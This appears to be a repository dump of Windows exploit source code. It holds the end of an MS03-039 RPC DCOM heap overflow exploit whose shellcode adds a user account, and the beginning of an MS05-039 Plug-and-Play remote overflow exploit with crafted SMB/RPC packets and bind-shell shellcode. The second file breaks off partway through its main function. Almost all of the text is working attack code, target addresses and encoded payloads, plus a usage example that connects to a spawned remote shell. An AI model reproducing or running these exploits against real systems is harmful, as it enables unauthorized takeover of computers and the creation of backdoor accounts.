,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF
,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09
,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00
,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00
,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00
,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00
,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E
,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00
,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00
,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00
,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00
,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00};
unsigned char request2[]={
0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x5C,0x00,0x5C,0x00};
unsigned char request3[]={
0x5C,0x00
,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00
,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};
//user="e" pass="asd#321"
unsigned char sc_add_user[]=
"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x3E\x01\x80\x34\x0A\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF\x70\x31\x99\x99\x99\xC3\x21\x95\x69"
"\x64\xE6\x12\x99\x12\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5"
"\x9A\x6A\x12\xEF\xE1\x9A\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA"
"\x74\xCF\xCE\xC8\x12\xA6\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED"
"\x91\xC0\xC6\x1A\x5E\x9D\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF"
"\xBD\x9A\x5A\x48\x78\x9A\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A"
"\x5A\x58\x78\x9B\x9A\x58\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F"
"\x97\x12\x49\xF3\x9A\xC0\x71\xBD\x99\x99\x99\xF1\x66\x66\x66\x99"
"\xF1\x99\x89\x99\x99\xF3\x9D\x66\xCE\x6D\x22\x81\x69\x64\xE6\x10"
"\x9A\x1A\x5F\x95\xAA\x59\xC9\xCF\x66\xCE\x61\xC9\x66\xCE\x65\xAA"
"\x59\x35\x1C\x59\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B"
"\x77\xAA\x59\x5A\x71\xCA\x66\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA"
"\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xD1\xFC\xF8\xE9\xDA\xEB\xFC\xF8"
"\xED\xFC\x99\xCE\xF0\xF7\xDC\xE1\xFC\xFA\x99\xDC\xE1\xF0\xED\xC9"
"\xEB\xF6\xFA\xFC\xEA\xEA\x99\xFA\xF4\xFD\xB9\xB6\xFA\xB9\xF7\xFC"
"\xED\xB9\xEC\xEA\xFC\xEB\xB9\xFC\xB9\xF8\xEA\xFD\xBA\xAA\xAB\xA8"
"\xB9\xB6\xF8\xFD\xFD\xB9\xBF\xBF\xB9\xF7\xFC\xED\xB9\xF5\xF6\xFA"
"\xF8\xF5\xFE\xEB\xF6\xEC\xE9\xB9\xF8\xFD\xF4\xF0\xF7\xF0\xEA\xED"
"\xEB\xF8\xED\xF6\xEB\xEA\xB9\xFC\xB9\xB6\xF8\xFD\xFD\x99";
#define sc_offset 0x24
#define sc_max 0x208
#define jmp_addr_offset sc_max+sc_offset+0x8
#define top_seh_offset jmp_addr_offset+0x4
unsigned char sc[]=
"\x31\x00\x32\x00\x37\x00\x2e\x00\x30\x00\x2e\x00"
"\x30\x00\x2e\x00\x31\x00\x5c\x00\x49\x00\x50\x00"
"\x43\x00\x24\x00\x5c\x00"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
"\xe9\xf3\xfd\xff\xff"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE";
unsigned char request4[]={
0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00
,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C
,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};
struct
{
char *os;
DWORD dwTopSeh;
char *seh;
DWORD dwJmpAddr;
char *jmp;
}
targets[] =
{
{ "2kEnSp4+MS03-026",
0x7c54144c,
"kernel32.dll v5.0.2195.6688",
0x77a1b496,
"OLEAUT32.dll v2.40.4522.0"},
{ "2kEnSp3+SomeHotFixs+MS03-026",
0x77eda1f0,
"kernel32.dll v5.0.2195.6079",
0x77a1afa9,
"OLEAUT32.dll v2.40.4518.0"}
}, v;
void main(int argc,char ** argv)
{
WSADATA WSAData;
SOCKET sock;
int len,len1;
SOCKADDR_IN addr_in;
short port=135;
unsigned char buf1[0x1000];
unsigned char buf2[0x1000];
int i, iType;
printf( "MS03-039 RPC DCOM long filename heap buffer overflow exp v1\n"
"Base on flashsky's MS03-026 exp\n"
"Code by ey4s<eyas#xfocus.org>\n"
"2003-09-16\n"
"Welcome to http://www.xfocus.net\n"
"Thanks to flashsky & benjurry & Dave Aitel\n"
"If success, target will add a user \"e\" and password is \"asd#321\"\n\n");
if(argc!=3)
{
printf("Usage: %s <target> <type>\n", argv[0]);
for(i = 0; i < sizeof(targets)/sizeof(v); i++)
printf( "<%d> %s\n"
" TopSeh=0x%.8x in %s\n"
" JmpAddr=0x%.8x in %s\n",
i, targets[i].os,
targets[i].dwTopSeh, targets[i].seh,
targets[i].dwJmpAddr, targets[i].jmp);
return;
}
iType = atoi(argv[2]);
if((iType<0) || iType > sizeof(targets)/sizeof(v))
{
printf("[-] Wrong type.\n");
return;
}
memcpy(&sc[sc_offset], sc_add_user, sizeof(sc_add_user));
memcpy(&sc[jmp_addr_offset], &targets[iType].dwJmpAddr,4);
memcpy(&sc[top_seh_offset], &targets[iType].dwTopSeh,4);
printf("[+] Prepare shellcode completed.\n");
if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
{
printf("WSAStartup error.Error:%d\n",WSAGetLastError());
return;
}
addr_in.sin_family=AF_INET;
addr_in.sin_port=htons(port);
addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);
if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
{
printf("Socket failed.Error:%d\n",WSAGetLastError());
return;
}
if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
{
printf("Connect failed.Error:%d",WSAGetLastError());
return;
}
printf("[+] Connect to %s:135 success.\n", argv[1]);
if(sizeof(sc_add_user) > sc_max)
{
printf("[-] shellcode too long, exit.\n");
return;
}
len=sizeof(sc);
memcpy(buf2,request1,sizeof(request1));
len1=sizeof(request1);
*(DWORD *)(request2)=*(DWORD *)(request2)+sizeof(sc)/2; //¼ÆËãÎļþÃûË«×Ö½Ú³¤¶È
*(DWORD *)(request2+8)=*(DWORD *)(request2+8)+sizeof(sc)/2;//¼ÆËãÎļþÃûË«×Ö½Ú³¤¶È
memcpy(buf2+len1,request2,sizeof(request2));
len1=len1+sizeof(request2);
memcpy(buf2+len1,sc,sizeof(sc));
len1=len1+sizeof(sc);
memcpy(buf2+len1,request3,sizeof(request3));
len1=len1+sizeof(request3);
memcpy(buf2+len1,request4,sizeof(request4));
len1=len1+sizeof(request4);
*(DWORD *)(buf2+8)=*(DWORD *)(buf2+8)+sizeof(sc)-0xc;
//¼ÆËã¸÷ÖֽṹµÄ³¤¶È
*(DWORD *)(buf2+0x10)=*(DWORD *)(buf2+0x10)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0x80)=*(DWORD *)(buf2+0x80)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0x84)=*(DWORD *)(buf2+0x84)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0xb4)=*(DWORD *)(buf2+0xb4)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0xb8)=*(DWORD *)(buf2+0xb8)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0xd0)=*(DWORD *)(buf2+0xd0)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0x18c)=*(DWORD *)(buf2+0x18c)+sizeof(sc)-0xc;
len = send(sock,bindstr,sizeof(bindstr),0);
if(len<=0)
{
printf("[-] Send failed.Error:%d\n",WSAGetLastError());
return;
}
else
printf("[+] send %d bytes.\n", len);
len=recv(sock,buf1,1000,0);
if(len<=0)
{
printf("[-] recv error:%d\n", GetLastError());
return;
}
else
printf("[+] recv %d bytes.\n", len);
len = send(sock,buf2,len1,0);
if(len<=0)
{
printf("[-] Send failed.Error:%d\n",WSAGetLastError());
return;
}
else
printf("[+] send %d bytes.\n", len);
len=recv(sock,buf1,1024,0);
if(len<=0)
{
printf("[+] Target crash or exploit success? :)\n");
}
else
printf("[-] recv %d bytes. Bad luck!\n", len);
}
// milw0rm.com [2003-09-16]
97-Windows提权/MS05-039/MS05-039.exe
BIN
View File
Binary file not shown.
97-Windows提权/MS05-039/PnP_Service.c
+436
View File
@@ -0,0 +1,436 @@
/* HOD-ms05039-pnp-expl.c: 2005-08-10: PUBLIC v.0.2
*
* Copyright (c) 2005 houseofdabus.
*
* (MS05-039) Microsoft Windows Plug-and-Play Service Remote Overflow
* Universal Exploit + no crash shellcode
*
*
*
*
* .::[ houseofdabus ]::.
*
*
*
* ---------------------------------------------------------------------
* Description:
* A remote code execution and local elevation of privilege
* vulnerability exists in Plug and Play that could allow an
* attacker who successfully exploited this vulnerability to take
* complete control of the affected system.
*
* This is a remote code execution and local privilege elevation
* vulnerability. On Windows 2000, an anonymous attacker could
* remotely try to exploit this vulnerability.
*
* On Windows XP Service Pack 1, only an authenticated user could
* remotely try to exploit this vulnerability.
* On Window XP Service Pack 2 and Windows Server 2003, only an
* administrator can remotely access the affected component.
* Therefore, on Windows XP Service Pack 2 and Windows Server 2003,
* this is strictly a local privilege elevation vulnerability.
* An anonymous user cannot remotely attempt to exploit this
* vulnerability on Windows XP Service Pack 2 and Windows
* Server 2003.
*
* ---------------------------------------------------------------------
* Solution:
* http://www.microsoft.com/technet/security/Bulletin/MS05-039.mspx
*
* ---------------------------------------------------------------------
* Systems Affected:
* - Windows Server 2003, SP1
* - Windows XP SP1, SP2
* - Windows 2000 SP4
*
* ---------------------------------------------------------------------
* Tested on:
* - Windows 2000 SP4
*
* ---------------------------------------------------------------------
* Compile:
*
* Win32/VC++ : cl -o HOD-ms05039-pnp-expl HOD-ms05039-pnp-expl.c
* Win32/cygwin: gcc -o HOD-ms05039-pnp-expl HOD-ms05039-pnp-expl.c
* Linux : gcc -o HOD-ms05039-pnp-expl HOD-ms05039-pnp-expl.c
*
* ---------------------------------------------------------------------
* Example:
*
* C:\>HOD-ms05039-pnp-expl 192.168.0.1 7777
*
* [*] connecting to 192.168.0.22:445...ok
* [*] null session...ok
* [*] bind pipe...ok
* [*] sending crafted packet...ok
* [*] check your shell on 192.168.0.1:7777
* Ctrl+C
*
* C:\>nc 192.168.0.1 7777
*
* Microsoft Windows 2000 [Version 5.00.2195]
* (C) Copyright 1985-2000 Microsoft Corp.
*
* C:\WINNT\system32>
*
* ---------------------------------------------------------------------
*
* This is provided as proof-of-concept code only for educational
* purposes and testing by authorized individuals with permission
* to do so.
*
*/
/* #define _WIN32 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef _WIN32
#include <winsock2.h>
#pragma comment(lib, "ws2_32")
#else
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <netdb.h>
#endif
unsigned char SMB_Negotiate[] =
"\x00\x00\x00\x85\xFF\x53\x4D\x42\x72\x00\x00\x00\x00\x18\x53\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4E\x45\x54\x57\x4F"
"\x52\x4B\x20\x50\x52\x4F\x47\x52\x41\x4D\x20\x31\x2E\x30\x00\x02"
"\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00\x02\x57\x69\x6E\x64\x6F"
"\x77\x73\x20\x66\x6F\x72\x20\x57\x6F\x72\x6B\x67\x72\x6F\x75\x70"
"\x73\x20\x33\x2E\x31\x61\x00\x02\x4C\x4D\x31\x2E\x32\x58\x30\x30"
"\x32\x00\x02\x4C\x41\x4E\x4D\x41\x4E\x32\x2E\x31\x00\x02\x4E\x54"
"\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00";
unsigned char SMB_SessionSetupAndX[] =
"\x00\x00\x00\xA4\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x00\x10\x00\x0C\xFF\x00\xA4\x00\x04\x11\x0A\x00\x00\x00\x00"
"\x00\x00\x00\x20\x00\x00\x00\x00\x00\xD4\x00\x00\x80\x69\x00\x4E"
"\x54\x4C\x4D\x53\x53\x50\x00\x01\x00\x00\x00\x97\x82\x08\xE0\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00"
"\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x32\x00\x31\x00\x39\x00"
"\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00"
"\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x35\x00"
"\x2E\x00\x30\x00\x00\x00\x00\x00";
unsigned char SMB_SessionSetupAndX2[] =
"\x00\x00\x00\xDA\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x08\x20\x00\x0C\xFF\x00\xDA\x00\x04\x11\x0A\x00\x00\x00\x00"
"\x00\x00\x00\x57\x00\x00\x00\x00\x00\xD4\x00\x00\x80\x9F\x00\x4E"
"\x54\x4C\x4D\x53\x53\x50\x00\x03\x00\x00\x00\x01\x00\x01\x00\x46"
"\x00\x00\x00\x00\x00\x00\x00\x47\x00\x00\x00\x00\x00\x00\x00\x40"
"\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x06\x00\x06\x00\x40"
"\x00\x00\x00\x10\x00\x10\x00\x47\x00\x00\x00\x15\x8A\x88\xE0\x48"
"\x00\x4F\x00\x44\x00\x00\xED\x41\x2C\x27\x86\x26\xD2\x59\xA0\xB3"
"\x5E\xAA\x00\x88\x6F\xC5\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00"
"\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00"
"\x32\x00\x31\x00\x39\x00\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00"
"\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00"
"\x30\x00\x20\x00\x35\x00\x2E\x00\x30\x00\x00\x00\x00\x00";
unsigned char SMB_TreeConnectAndX[] =
"\x00\x00\x00\x5A\xFF\x53\x4D\x42\x75\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x08\x30\x00\x04\xFF\x00\x5A\x00\x08\x00\x01\x00\x2F\x00\x00";
unsigned char SMB_TreeConnectAndX_[] =
"\x00\x00\x3F\x3F\x3F\x3F\x3F\x00";
/* browser */
unsigned char SMB_PipeRequest_browser[] =
"\x00\x00\x00\x66\xFF\x53\x4D\x42\xA2\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x78\x04"
"\x00\x08\x40\x00\x18\xFF\x00\xDE\xDE\x00\x10\x00\x16\x00\x00\x00"
"\x00\x00\x00\x00\x9F\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x40\x00\x00\x00"
"\x02\x00\x00\x00\x03\x13\x00\x00\x5C\x00\x62\x00\x72\x00\x6F\x00"
"\x77\x00\x73\x00\x65\x00\x72\x00\x00\x00";
unsigned char SMB_PNPEndpoint[] =
/* 8d9f4e40-a03d-11ce-8f69-08003e30051b v1.0: pnp */
"\x00\x00\x00\x9C\xFF\x53\x4D\x42\x25\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x78\x04"
"\x00\x08\x50\x00\x10\x00\x00\x48\x00\x00\x00\x00\x10\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\x48\x00\x54\x00\x02"
"\x00\x26\x00\x00\x40\x59\x00\x00\x5C\x00\x50\x00\x49\x00\x50\x00"
"\x45\x00\x5C\x00\x00\x00\x40\x00\x05\x00\x0B\x03\x10\x00\x00\x00"
"\x48\x00\x00\x00\x01\x00\x00\x00\xB8\x10\xB8\x10\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x01\x00\x40\x4E\x9F\x8D\x3D\xA0\xCE\x11"
"\x8F\x69\x08\x00\x3E\x30\x05\x1B\x01\x00\x00\x00\x04\x5D\x88\x8A"
"\xEB\x1C\xC9\x11\x9F\xE8\x08\x00\x2B\x10\x48\x60\x02\x00\x00\x00";
unsigned char RPC_call[] =
"\x00\x00\x08\x90\xFF\x53\x4D\x42\x25\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x78\x04"
"\x00\x08\x60\x00\x10\x00\x00\x3C\x08\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\x3C\x08\x54\x00\x02"
"\x00\x26\x00\x00\x40\x4D\x08\x00\x5C\x00\x50\x00\x49\x00\x50\x00"
"\x45\x00\x5C\x00\x00\x00\x40\x00\x05\x00\x00\x03\x10\x00\x00\x00"
"\x3C\x08\x00\x00\x01\x00\x00\x00\x24\x08\x00\x00\x00\x00\x36\x00"
"\x11\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x52\x00\x4F\x00"
"\x4F\x00\x54\x00\x5C\x00\x53\x00\x59\x00\x53\x00\x54\x00\x45\x00"
"\x4D\x00\x5C\x00\x30\x00\x30\x00\x30\x00\x30\x00\x00\x00\x00\x00"
"\xFF\xFF\x00\x00\xE0\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\xC0\x07\x00\x00\x00\x00\x00\x00\x90\x90\x90\x90\x90\x90\x90\x90"
"\xEB\x08\x90\x90\x67\x15\x7a\x76\xEB\x08\x90\x90\x67\x15\x7a\x76"
"\xEB\x08\x90\x90\x67\x15\x7a\x76\xEB\x08\x90\x90\x67\x15\x7a\x76"
"\xEB\x08\x90\x90\x67\x15\x7a\x76\xEB\x08\x90\x90\x67\x15\x7a\x76"
"\xEB\x08\x90\x90\x67\x15\x7a\x76\xEB\x08\x90\x90\x67\x15\x7a\x76"
/* jmp over - entry point */
"\xEB\x08\x90\x90"
/* pop reg; pop reg; retn; - umpnpmgr.dll */
"\x67\x15\x7a\x76" /* 0x767a1567 */
/* jmp ebx - umpnpmgr.dll
"\x6f\x36\x7a\x76" */
"\xEB\x08\x90\x90\x67\x15\x7a\x76"
"\x90\x90\x90\x90\x90\x90\x90\xEB\x08\x90\x90\x48\x4F\x44\x88\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
unsigned char RPC_call_end[] =
"\xE0\x07\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00";
unsigned char bind_shellcode[] =
"\x29\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x19"
"\xf5\x04\x37\x83\xeb\xfc\xe2\xf4\xe5\x9f\xef\x7a\xf1\x0c\xfb\xc8"
"\xe6\x95\x8f\x5b\x3d\xd1\x8f\x72\x25\x7e\x78\x32\x61\xf4\xeb\xbc"
"\x56\xed\x8f\x68\x39\xf4\xef\x7e\x92\xc1\x8f\x36\xf7\xc4\xc4\xae"
"\xb5\x71\xc4\x43\x1e\x34\xce\x3a\x18\x37\xef\xc3\x22\xa1\x20\x1f"
"\x6c\x10\x8f\x68\x3d\xf4\xef\x51\x92\xf9\x4f\xbc\x46\xe9\x05\xdc"
"\x1a\xd9\x8f\xbe\x75\xd1\x18\x56\xda\xc4\xdf\x53\x92\xb6\x34\xbc"
"\x59\xf9\x8f\x47\x05\x58\x8f\x77\x11\xab\x6c\xb9\x57\xfb\xe8\x67"
"\xe6\x23\x62\x64\x7f\x9d\x37\x05\x71\x82\x77\x05\x46\xa1\xfb\xe7"
"\x71\x3e\xe9\xcb\x22\xa5\xfb\xe1\x46\x7c\xe1\x51\x98\x18\x0c\x35"
"\x4c\x9f\x06\xc8\xc9\x9d\xdd\x3e\xec\x58\x53\xc8\xcf\xa6\x57\x64"
"\x4a\xa6\x47\x64\x5a\xa6\xfb\xe7\x7f\x9d\x1a\x55\x7f\xa6\x8d\xd6"
"\x8c\x9d\xa0\x2d\x69\x32\x53\xc8\xcf\x9f\x14\x66\x4c\x0a\xd4\x5f"
"\xbd\x58\x2a\xde\x4e\x0a\xd2\x64\x4c\x0a\xd4\x5f\xfc\xbc\x82\x7e"
"\x4e\x0a\xd2\x67\x4d\xa1\x51\xc8\xc9\x66\x6c\xd0\x60\x33\x7d\x60"
"\xe6\x23\x51\xc8\xc9\x93\x6e\x53\x7f\x9d\x67\x5a\x90\x10\x6e\x67"
"\x40\xdc\xc8\xbe\xfe\x9f\x40\xbe\xfb\xc4\xc4\xc4\xb3\x0b\x46\x1a"
"\xe7\xb7\x28\xa4\x94\x8f\x3c\x9c\xb2\x5e\x6c\x45\xe7\x46\x12\xc8"
"\x6c\xb1\xfb\xe1\x42\xa2\x56\x66\x48\xa4\x6e\x36\x48\xa4\x51\x66"
"\xe6\x25\x6c\x9a\xc0\xf0\xca\x64\xe6\x23\x6e\xc8\xe6\xc2\xfb\xe7"
"\x92\xa2\xf8\xb4\xdd\x91\xfb\xe1\x4b\x0a\xd4\x5f\xf6\x3b\xe4\x57"
"\x4a\x0a\xd2\xc8\xc9\xf5\x04\x37";
#define SET_PORTBIND_PORT(buf, port) \
*(unsigned short *)(((buf)+186)) = (port)
void
convert_name(char *out, char *name)
{
unsigned long len;
len = strlen(name);
out += len * 2 - 1;
while (len--) {
*out-- = '\x00';
*out-- = name[len];
}
}
int
main (int argc, char **argv)
{
struct sockaddr_in addr;
struct hostent *he;
int len;
int sockfd;
unsigned short smblen;
unsigned short bindport;
unsigned char tmp[1024];
unsigned char packet[4096];
unsigned char *ptr;
char recvbuf[4096];
#ifdef _WIN32
WSADATA wsa;
WSAStartup(MAKEWORD(2,0), &wsa);
#endif
printf("\n (MS05-039) Microsoft Windows Plug-and-Play Service Remote Overflow\n");
printf("\t Universal Exploit + no crash shellcode\n\n\n");
printf("\t Copyright (c) 2005 .: houseofdabus :.\n\n\n");
if (argc < 3) {
printf("%s <host> <bind port>\n", argv[0]);
exit(0);
}
if ((he = gethostbyname(argv[1])) == NULL) {
printf("[-] Unable to resolve %s\n", argv[1]);
exit(0);
}
